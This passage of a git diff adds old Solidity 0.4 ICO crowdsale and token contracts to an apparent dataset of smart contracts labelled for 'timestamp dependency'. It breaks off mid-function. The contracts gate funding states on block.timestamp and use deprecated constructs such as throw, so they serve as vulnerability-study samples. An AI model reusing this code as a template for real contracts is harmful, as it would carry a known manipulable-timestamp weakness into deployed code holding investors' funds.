(bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + + + + + + + +contract UpgradeAgent { + + uint public originalSupply; + + + function isUpgradeAgent() public constant returns (bool) { + return true; + } + + function upgradeFrom(address _from, uint256 _value) public; + +} + + + +contract UpgradeableToken is StandardToken { + + + address public upgradeMaster; + + + UpgradeAgent public upgradeAgent; + + + uint256 public totalUpgraded; + + + enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} + + + event Upgrade(address indexed _from, address indexed _to, uint256 _value); + + + event UpgradeAgentSet(address agent); + + + function UpgradeableToken(address _upgradeMaster) { + upgradeMaster = _upgradeMaster; + } + + + function upgrade(uint256 value) public { + + UpgradeState state = getUpgradeState(); + if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { + + throw; + } + + + if (value == 0) throw; + + balances[msg.sender] = safeSub(balances[msg.sender], value); + + + totalSupply = safeSub(totalSupply, value); + totalUpgraded = safeAdd(totalUpgraded, value); + + + upgradeAgent.upgradeFrom(msg.sender, value); + Upgrade(msg.sender, upgradeAgent, value); + } + + + function setUpgradeAgent(address agent) external { + + if(!canUpgrade()) { + + throw; + } + + if (agent == 0x0) throw; + + if (msg.sender != upgradeMaster) throw; + + if (getUpgradeState() == UpgradeState.Upgrading) throw; + + upgradeAgent = UpgradeAgent(agent); + + + if(!upgradeAgent.isUpgradeAgent()) throw; + + if (upgradeAgent.originalSupply() != totalSupply) throw; + + UpgradeAgentSet(upgradeAgent); + } + + + function getUpgradeState() public constant returns(UpgradeState) { + if(!canUpgrade()) return UpgradeState.NotAllowed; + else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; + else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; + else return UpgradeState.Upgrading; + } + + + function setUpgradeMaster(address master) public { + if (master == 0x0) throw; + if (msg.sender != upgradeMaster) throw; + upgradeMaster = master; + } + + + function canUpgrade() public constant returns(bool) { + return true; + } + +} + + + + + + + + + + +contract ReleasableToken is ERC20, Ownable { + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + + modifier canTransfer(address _sender) { + + if(!released) { + if(!transferAgents[_sender]) { + throw; + } + } + + _; + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + + + releaseAgent = addr; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + transferAgents[addr] = state; + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + released = true; + } + + + modifier inReleaseState(bool releaseState) { + if(releaseState != released) { + throw; + } + _; + } + + + modifier onlyReleaseAgent() { + if(msg.sender != releaseAgent) { + throw; + } + _; + } + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + +} + + + + + + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + + +contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { + + + event UpdatedTokenInformation(string newName, string newSymbol); + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + + string public name; + + string public symbol; + + uint public decimals; + + + uint public minCap; + + + function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) + UpgradeableToken(msg.sender) { + + + + + owner = msg.sender; + + name = _name; + symbol = _symbol; + + totalSupply = _initialSupply; + + decimals = _decimals; + + minCap = _globalMinCap; + + + balances[owner] = totalSupply; + + if(totalSupply > 0) { + Minted(owner, totalSupply); + } + + + if(!_mintable) { + mintingFinished = true; + if(totalSupply == 0) { + throw; + } + } + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + mintingFinished = true; + super.releaseTokenTransfer(); + } + + + function canUpgrade() public constant returns(bool) { + return released && super.canUpgrade(); + } + + + function setTokenInformation(string _name, string _symbol) onlyOwner { + name = _name; + symbol = _symbol; + + UpdatedTokenInformation(name, symbol); + } + + + function claimTokens(address _token) public onlyOwner { + require(_token != address(0)); + + ERC20 token = ERC20(_token); + uint balance = token.balanceOf(this); + token.transfer(owner, balance); + + ClaimedTokens(_token, owner, balance); + } + +} + + + +contract ReservedTokensFinalizeAgent is FinalizeAgent { + using SafeMathLibExt for uint; + CrowdsaleTokenExt public token; + CrowdsaleExt public crowdsale; + + uint public distributedReservedTokensDestinationsLen = 0; + + function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public { + token = _token; + crowdsale = _crowdsale; + } + + + function isSane() public constant returns (bool) { + return (token.releaseAgent() == address(this)); + } + + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public { + assert(msg.sender == address(crowdsale)); + + assert(reservedTokensDistributionBatch > 0); + assert(!reservedTokensAreDistributed); + assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen()); + + + + uint tokensSold = 0; + for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) { + CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i)); + tokensSold = tokensSold.plus(tier.tokensSold()); + } + + uint startLooping = distributedReservedTokensDestinationsLen; + uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen); + if (batch >= reservedTokensDistributionBatch) { + batch = reservedTokensDistributionBatch; + } + uint endLooping = startLooping + batch; + + + for (uint j = startLooping; j < endLooping; j++) { + address reservedAddr = token.reservedTokensDestinations(j); + if (!token.areTokensDistributedForAddress(reservedAddr)) { + uint allocatedBonusInPercentage; + uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr); + uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr); + uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr); + + if (percentsOfTokensUnit > 0) { + allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100; + token.mint(reservedAddr, allocatedBonusInPercentage); + } + + if (allocatedBonusInTokens > 0) { + token.mint(reservedAddr, allocatedBonusInTokens); + } + + token.finalizeReservedAddress(reservedAddr); + distributedReservedTokensDestinationsLen++; + } + } + + if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) { + reservedTokensAreDistributed = true; + } + } + + + function finalizeCrowdsale() public { + assert(msg.sender == address(crowdsale)); + + if (token.reservedTokensDestinationsLen() > 0) { + assert(reservedTokensAreDistributed); + } + + token.releaseTokenTransfer(); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10552.sol b/smart_contract_dataset/timestamp dependency/10552.sol new file mode 100644 index 0000000000000000000000000000000000000000..0cf97716ffe1952a4b78387eaa7ee50c9c533948 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10552.sol @@ -0,0 +1,1014 @@ + + + +pragma solidity ^0.4.8; + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + +contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { + + + uint public maximumSellableTokens; + + function MintedTokenCappedCrowdsaleExt( + string _name, + address _token, + PricingStrategy _pricingStrategy, + address _multisigWallet, + uint _start, uint _end, + uint _minimumFundingGoal, + uint _maximumSellableTokens, + bool _isUpdatable, + bool _isWhiteListed + ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { + maximumSellableTokens = _maximumSellableTokens; + } + + + event MaximumSellableTokensChanged(uint newMaximumSellableTokens); + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { + return tokensSoldTotal > maximumSellableTokens; + } + + function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { + assert(isWhiteListed); + uint 